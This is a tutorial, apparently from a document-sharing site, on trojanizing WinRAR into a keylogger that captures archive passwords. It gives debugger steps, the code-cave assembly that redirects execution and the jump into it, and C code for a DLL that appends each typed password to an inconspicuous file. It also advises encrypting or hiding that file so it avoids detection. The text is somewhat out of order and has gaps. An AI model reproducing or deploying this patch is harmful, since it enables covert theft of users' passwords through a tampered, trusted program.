Professional Documents
Culture Documents
WinRAR
Writing a Key logger
Extreme Coders
extremecoders@mail.com
Whenever the user types a password and presses OK/Enter, the password is automatically saved to a file. However ,
if the user purposely or mistakenly enters a wrong password, that too is also saved. Another limitation is that the
path of the file is not saved, so while on one hand you get the passwords, on the other you do not get to know which
files they are associated with.
Tools Required
WinRAR v5.01 is the latest version available at the time of writing. Any other version would do. You may use the trial
version available if you do not own WinRAR.
The latest version of Ollydbg is v2.01 released on September 28,2013. Any other version would do . You may also use
Immunity Debugger if you prefer it.
Multiline Ultimate Assembler is a plugin which will simplify your reversing sessions greatly and make it writing
codecaves easier. The plugin is available for both Ollydbg and Immunity debugger. You may also prefer to work
without it but using it is highly recommended. For using it simply drop it in the Ollydbg plugins directory.
CFF Explorer is a free PE Editor, but any other would work as well.
Lastly any C compiler would do. You may use an IDE or a text editor according to your tastes.
Overview
In this section I will give a brief overview about our work ahead. The main idea is that we will find when the app
reads the password from the textbox. At that point we will transfer the execution to a codecave. The codecave in
turn will call another function from a dll. The dll will then do the actual work of reading the password from the
textbox and writing it to a file. The advantages of using a dll as compared to coding the entire thing in the code cave
is that we can write the dll in a higher language (like C, C++, Delphi etc ) than assembly. Also debugging becomes
easier. We can also implement new features (such as saving the passwords in an encrypted file) without touching the
executable.
So the target is not packed or protected. Another feature of this binary it was compiled with relocations. That means
the executable can load at a different base address other than the image base. Relocations are necessary for dll s, but
not for an exe since they are generally the first one to get loaded in the address space. We need to disable this
feature; otherwise the exploit developed may not work on another machine.
So in CFF Explorer browse to Optional Headers -> Dll characteristics and uncheck the `DLL can move` flag.
Now save the file. You may also wish to keep a backup of the original file.
Now we need to know about the `Enter password` dialog that pops out on opening a password protected file. So
load the file in Resource Hacker. Now under the `Dialog` tree look for the `Enter password` dialog. You can easily find
that one as Resource Hacker shows a preview of the dialog. In our case the one we are looking for is the
`GETPASSWORD2` dialog as shown below. Now also keep a note of the textbox on which we type our passwords. In
this case it is a combobox with an ID of 101. Remember this ID for later use.
With the breakpoints set in place just click on `Ok` in the `Enter password` dialog. Immediately one of our
breakpoints is hit. Now we know the location the app reads the password. So delete all other breakpoints except the
current one.
In the stack on the bottom right you can see the parameters passed to `GetDlgItemTextW` . You can notice that the
ControlID passed is 65 in hex or 101 in decimal, the same we obtained from resource hacker. Another thing to note is
the handle of the window is in esi which is pushed on the stack. You can step over the call and see that the buffer
address to the function is filled with the entered password.
So from this point we need to redirect our execution to a codecave which would call a function in a dll, and the dll in
turn would write the password in a file. We also need to pass the handle of the window (which is in esi) t o that
function which we would be writing soon.
Now we need to find some empty bytes where we would be assembling our codecave. Finding them is easy, just
navigate towards the end of the code and you will find plenty of free bytes marked as db 00.
Empty Bytes
In my case I chose to write the codecave at 004B94E0. Now lets go back to our earlier location where the breakpoint
was hit. We need to jump from this place to our codecave. Here I chose to write the jump at 00450C0F. Now copy
the original instructions here as it would be overwritten by the jump instruction. Just press Spacebar on the line and
copy what is displayed in
the `Assemble` dialog.
Preserve this copied text
for later use. Now in the
`Assemble` dialog make
sure `Fill with NOPs` is
checked. Now write,
JMP 004B94E0
and press assemble once
and then close the dialog.
//This path contains the full name including the name of the exe
//So we need to remove the filename to get the directory
i=(char*)path;
while(!(*i==0 && *(i+1)==0))
{
if(*i=='\\' && *(i+1)==0) pos=i;
i+=2;
}
*pos=0;
//The filename where the passwords will be dumped
lstrcatW(path,L"\\rar.dbf");
//Get the handle to the file, create the file if it does not exists
handle=CreateFileW(path,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_
ATTRIBUTE_NORMAL,NULL);
//return in case of error
if(handle==NULL) return;
//Navigate to the end of the file
SetFilePointer(handle,0,NULL,FILE_END);
//Now dump the password
WriteFile(handle,password,lstrlenW(password)*2+2,&noOfBytesWritten,NULL);
The source code is fairly well documented. The dll has only a single exported function `dumpPassword` and it takes a
handle to the window as an argument. We are using the stdcall calling convention, so the function will automatically
adjust the stack pointer on returning.
The handle passed is used to read the password by calling `GetDlgItemTextW` . The second parameter to
GetDlgItemTextW is the ID of the control whose text we want to read. In this case it is 101, which we found earlier
using Resource Hacker.
We then find the location of the main executable , using `GetModuleFileNameW` . It returns the full path as an
Unicode string. We then parse the string to remove the file name and get the full path of the directory.
The only thing left is writing the password to disk. We can chose any file name and it is better to use an inobtrusive
one such as rar.dat, rar.dbf etc. Using `CreateFileW` we get a handle to file. We open the file in append mode, so in
case the file exists we will append to the file instead of overwriting it. If the file does not exists a new one will be
created.
We navigate to the end of the file using `SetFilePointer`, and write the password using `WriteFile`. Then finally we
close the handle to the file.
Note that we are just dumping the passwords in plain text; you may also choose to encrypt the passwords before
dumping, so in case someone finds the file (which is rare), he will understand nothing. You may even hide the file
(hint: see the MSDN documentation on CreateFileW).
The last thing left in this section is to view the dll file produced in CFF Explorer. This is necessary because the names
of exported functions are generally mangled and unless you know the correct exported name you cannot call the
function. You can see that the function is actually exported as `_dumpPassword@4`. Keep a note of this name.
Press Enter
Now jump to the point where we would write the codecave i.e. at 004B94E0. Click on Plugins -> Multiline Ultimate
Assembler and write the following and then click `Assemble`
<004B94E0>
push eax
push @libName
call dword ptr [4BA254]
test eax,eax
jz @end
push @procName
push eax
call dword ptr [4BA3E4]
test eax,eax
jz @end
push esi
call eax
jmp @end
@libName:
"rar.dll\0"
@procName:
"_dumpPassword@4\0"
;;save eax
;;LoadLibraryA
;;Check if LoadLibraryA succeeds
;;GetProcAddress
;;Check if GetProcAddress succeeds
;;the pointer to the handle of the dialog
;;call dumpPassword
@end:
pop eax
mov ebp,dword ptr [4BA680]
jmp 450c15
;;Restore eax
;;Overwritten call
;;Continue normal execution